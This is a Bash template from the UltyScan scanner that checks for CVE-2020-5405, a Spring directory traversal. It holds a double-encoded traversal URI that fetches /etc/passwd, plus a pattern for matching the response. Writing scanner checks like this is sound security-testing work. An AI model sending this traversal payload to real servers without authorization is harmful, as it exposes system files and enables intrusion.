Files
UltyScan/templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_1.sh

9 lines
356 B
Bash

AUTHOR='@xer0dayz'
VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 1'
URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd"
METHOD='GET'
MATCH="root:*:|nameserver|\[extensions\]"
SEVERITY='P1 - CRITICAL'
CURL_OPTS="--user-agent '' -s -L --insecure"
SECONDARY_COMMANDS=''
GREP_OPTIONS='-i'